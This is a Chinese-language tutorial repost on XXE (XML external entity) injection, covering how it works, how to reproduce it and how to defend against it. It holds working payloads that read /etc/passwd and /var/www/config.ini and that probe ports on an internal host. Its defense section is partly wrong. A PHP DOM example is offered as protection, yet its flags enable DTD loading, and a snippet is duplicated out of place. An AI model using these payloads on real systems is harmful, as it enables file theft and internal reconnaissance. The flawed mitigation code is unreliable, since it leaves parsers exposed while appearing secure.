XXE漏洞復現步驟


XXE漏洞復現步驟

0X00XXE注入定義

XXE注入,即XML External Entity,XML外部實體注入。通過 XML 實體,”SYSTEM”關鍵詞導致 XML 解析器可以從本地文件或者遠程 URI 中讀取數據。所以攻擊者可以通過 XML 實體傳遞自己構造的惡意值,是處理程序解析它。當引用外部實體時,通過構造惡意內容,可導致讀取任意文件、執行系統命令、探測內網端口、攻擊內網網站等危害。

0X01漏洞原理

既然XML可以從外部讀取DTD文件,那我們就自然地想到了如果將路徑換成另一個文件的路徑,那么服務器在解析這個XML的時候就會把那個文件的內容賦值給SYSTEM前面的根元素中,只要我們在XML中讓前面的根元素的內容顯示出來,不就可以讀取那個文件的內容了。這就造成了一個任意文件讀取的漏洞。

那如果我們指向的是一個內網主機的端口呢?是否會給出錯誤信息,我們是不是可以從錯誤信息上來判斷內網主機這個端口是否開放,這就造成了一個內部端口被探測的問題。另外,一般來說,服務器解析XML有兩種方式,一種是一次性將整個XML加載進內存中,進行解析;另一種是一部分一部分的、“流式”地加載、解析。如果我們遞歸地調用XML定義,一次性調用巨量的定義,那么服務器的內存就會被消耗完,造成了拒絕服務攻擊。

0X02漏洞復現

發送測試代碼到測試服務器

<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> <foo>&xxe;</foo>

 

在有回顯的情況下,該服務器的/etc/passwd文件就會被泄露。

此時發現有回顯,開始測試xxe漏洞,抓取數據包發現post一個xml文件

 

xml代碼換成測試的xml代碼

將其提交發現有回顯,回顯內容是xml代碼里面的函數訪問文件夾的內容。

修改xml內容進行端口檢測。

<!DOCTYPE foo [<!ELEMENT login ANY><!ENTITY xxe SYSTEM "http://192.168.1.42:801">]>
<reset><login>&xxe;</login><secret>Any bugs?</secret></reset>

發現801端口關閉

<!DOCTYPE foo [<!ELEMENT login ANY><!ENTITY xxe SYSTEM "http://192.168.1.42:80">]>
<reset><login>&xxe;</login><secret>Any bugs?</secret></reset>

發現80端口開啟

0X03漏洞防御

1.使用開發語言提供的禁用外部實體的方法

PHP:

libxml_disable_entity_loader(true);

 


JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

 

Python:

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

 

2.過濾用戶提交的XML數據

 對變量:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC進行過濾.

例如,讓我們來試着定義一個新的自定義實體“harmless”。

<!DOCTYPE results [ <!ENTITY harmless "completely harmless"> ]>

現在,包含這個實體定義的XML文檔可以在任何允許的地方引用&harmless;實體。

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

 

XML解析器,例如PHP DOM,在解析這段XML時,會在加載完文檔后立即處理這個自定義實體。因此,請求相關文本時,會得到如下的返回:

This result is completely harmless

下面的這個就肯定不是無害的輸入:

<?xml version="1.0"?>
<!DOCTYPE results [<!ENTITY harmless SYSTEM
"file:///var/www/config.ini">]>
<results>
    <result>&harmless;</result>
</results>

 

3.檢查所使用的底層xml解析庫,默認禁止外部實體的解析
4.使用第三方應用代碼及時升級補丁
5.同時增強對系統的監控,防止此問題被人利用
對於PHP,由於simplexml_load_string函數的XML解析問題出在libxml庫上,所以加載實體前可以調用這樣一個函數

<?php
libxml_disable_entity_loader(true);
?>

 

以進行防護,對於XMLReader和DOM方式解析,可以參考如下代碼:

<?php
// with the XMLReader functionality:
$doc = XMLReader::xml($badXml,'UTF-8',LIBXML_NONET);
// with the DOM functionality:
$dom = new DOMDocument();
$dom->loadXML($badXml,LIBXML_DTDLOAD|LIBXML_DTDATTR);
?>>
 
<wiz_tmp_tag id="wiz-table-range-border" contenteditable="false" style="display: none;">

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM